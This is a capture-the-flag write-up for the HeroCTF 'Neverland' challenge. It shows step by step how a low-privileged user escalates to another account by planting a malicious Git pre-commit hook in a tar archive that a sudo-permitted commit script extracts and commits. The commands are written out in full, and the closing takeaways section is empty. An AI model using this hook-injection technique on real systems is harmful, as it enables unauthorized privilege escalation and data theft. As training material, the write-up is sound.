CTF-Writeups

HeroCTF – Neverland (Misc, Easy)

Challenge Information


Scenario

Peter Pan and Captain Hook are once again fighting in Neverland, instead of working and pushing PRs into production. Since this is a regular occurrence, we have created a script that allows the intern to review PRs in their stead. Please don’t touch Peter’s fairy powder stock in /home/peter/flag.txt

As intern, we’re given SSH access to a box where Peter (a more privileged user) owns the flag. Our goal is to escalate from intern to reading /home/peter/flag.txt.


Foothold – SSH Access

We’re given direct SSH credentials:

ssh -p 14721 intern@dyn11.heroctf.fr
# password: fairy

Once logged in as intern, we start with the usual privilege enumeration.


Privilege Enumeration

Check sudo permissions:

sudo -l

Output:

Matching Defaults entries for intern on this host:
    ...

User intern may run the following commands on this host:
    (peter) /opt/commit.sh

So as intern we can run one command as user peter:

sudo -u peter /opt/commit.sh <args>

This is our privilege-escalation vector.


Understanding /opt/commit.sh

Reading /opt/commit.sh (or tracing its behaviour) shows that it:

  1. Takes a tar archive path as an argument.
  2. Extracts the archive into a temporary directory belonging to peter, something like:
    /home/peter/git-review-$$/repo
  3. Enters the extracted repo directory.
  4. Performs two integrity checks to make sure it’s based on the official repo in /app:
    • The HEAD commit hash must match the one in /app/.git/HEAD.
    • The .git/config file hash must match /app/.git/config.
  5. If both checks pass, it runs:

    git add .
    git commit -m "Accepted user submission"
    

The important insight: Git executes hooks (from .git/hooks/*) as the user running Git.
Here, Git runs as peter, so any hook we provide will execute with peter’s permissions.

Crucially, Git hooks are not part of the commit hash and are not tracked by Git, so the script’s integrity checks do not cover .git/hooks/. That means we can:


Exploitation Plan

  1. Copy the official repo from /app so our repo passes the integrity checks.
  2. Add a malicious pre-commit hook that reads /home/peter/flag.txt and writes it to a location readable by intern (e.g., /tmp/neverland_flag.txt).
  3. Tar the repo.
  4. Run /opt/commit.sh as peter with our tar archive.
  5. Read the exfiltrated flag as intern.

Step-by-Step Exploit

Step 1 – Copy the official repository

From intern’s home:

cd ~
cp -r /app repo
cd repo

Now ./repo is a copy of the official repository in /app, including its .git directory. This ensures our HEAD and .git/config will match the expected values.


Step 2 – Create a malicious Git hook

We’ll use a pre-commit hook that runs just before git commit completes. The hook will copy the flag into a world-readable file under /tmp.

mkdir -p .git/hooks

cat > .git/hooks/pre-commit << 'EOF'
#!/bin/bash
cat /home/peter/flag.txt > /tmp/neverland_flag.txt
chmod 644 /tmp/neverland_flag.txt
exit 0
EOF

chmod +x .git/hooks/pre-commit

What this does:

Because .git/hooks is not covered by Git’s integrity mechanisms, the script’s checks will still pass.


Step 3 – Package the repo

Go back to the home directory and tar the repo:

cd ~
tar -czf repo.tar.gz repo

This creates ~/repo.tar.gz, containing our valid repo + malicious hook.


Step 4 – Run the commit script as peter

Now we invoke the privileged script with our archive:

sudo -u peter /opt/commit.sh /home/intern/repo.tar.gz

What happens behind the scenes:

  1. The script extracts repo.tar.gz into a temporary review directory as peter.
  2. It verifies the HEAD commit and .git/config match /app → they do, because we copied /app.
  3. It runs:

    git add .
    git commit -m "Accepted user submission"
    
  4. git commit triggers our pre-commit hook as peter.
  5. The hook copies the flag into /tmp/neverland_flag.txt with mode 644.

Step 5 – Read the flag as intern

Back as intern, simply read the file from /tmp:

cat /tmp/neverland_flag.txt

This prints the flag:

Hero{redacted_flag_here}

Replace the placeholder with the actual flag you obtained during the CTF.


Root Cause & Takeaways

Root issue:

Key lessons: